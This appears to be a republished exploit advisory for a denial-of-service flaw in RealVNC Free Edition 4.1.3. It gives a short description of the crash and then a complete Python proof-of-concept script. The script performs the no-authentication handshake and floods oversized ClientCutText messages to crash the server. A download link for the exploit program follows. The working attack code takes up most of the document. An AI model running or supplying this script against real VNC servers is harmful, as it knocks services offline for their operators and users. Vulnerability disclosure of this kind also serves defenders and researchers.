【Poc】VNC4.1.3溢出漏洞利用代码

Vulnerability............Denial-of-Service
Software.................RealVNC VNC Server Free Edition 4.1.3
Download.................http://www.realvnc.com/products/free/4.1/download.html
Date.....................5/2/10
Site.....................http://cross-site-scripting.blogspot.com/
Email....................john.leitch5@gmail.com

##Description#

Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the
exception shown below. Note: while the vulnerability is present regardless of authentication,
for the sake of simplicity this script only works on servers configured to run with no
authentication.

winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not
be written (0x00425BE4 -> FFFFFF00)

##Proof of Concept#
import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
try:
      while 1:
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         s.connect((host, port))
         s.settimeout(1.0)

         print 'Connected'

         try:
            b = s.recv(8192)
            print 'ProtocolVersion Received'

            s.send(b)
            print 'ProtocolVersion Sent'

            b = s.recv(8192)
            print 'Security Received'

            s.send('\x01')
            print 'Security Sent'

            # Recv SecurityResult
            b = s.recv(8192)
            print 'SecurityResult Received'

            if (len(b) == 4 and
                  b[0] == chr(0) and
                  b[1] == chr(0) and
                  b[2] == chr(0) and
                  b[3] == chr(0)):
                  print 'SecurityResult OK'
            else:
                  print 'SecurityResult Failed.\n\nThe server must be set '\
                        'to No Authentication for this to work, otherwise '\
                        'you \'ll need to write the necessary client side '\
                        'authentication code yourself.'
                  return

            s.send('\x01')
            print 'ClientInit Sent'

            b = s.recv(8192)
            print 'ServerInit Received'

            text_len = 0xFFFFFF
            text_str = struct.pack('L', text_len) + '\xAA' * text_len

            while 1:
                  s.send('\x06\x00\x00\x00' + text_str)

                  print 'ClientCutText Sent'

         except Exception:
            print 'Connection closed'

except Exception:
      print 'Couldn\'t connect'

crash_vnc_server()

漏洞利用程序下载地址：

http://www.uudisc.com/filedownload?user=nuclearatk&id=3090827

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